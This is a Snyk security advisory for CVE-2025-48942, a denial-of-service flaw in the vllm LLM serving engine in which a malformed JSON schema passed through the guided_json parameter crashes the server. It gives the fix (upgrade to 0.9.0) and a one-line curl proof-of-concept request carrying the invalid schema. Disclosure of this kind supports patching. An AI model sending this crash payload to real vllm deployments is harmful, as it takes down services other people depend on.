Uncaught Exception Affecting vllm package, versions [0.8.0,0.9.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.5% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-VLLM-10260425
  • published29 May 2025
  • disclosed28 May 2025
  • creditDerek Higgins

Introduced: 28 May 2025

CVE-2025-48942  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade vllm to version 0.9.0 or higher.

Overview

vllm is an A high-throughput and memory-efficient inference and serving engine for LLMs

Affected versions of this package are vulnerable to Uncaught Exception through the guided_json parameter when using xgrammar validation. An attacker can cause the application to crash by sending an invalid JSON schema.

PoC

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

CVSS Base Scores

version 4.0
version 3.1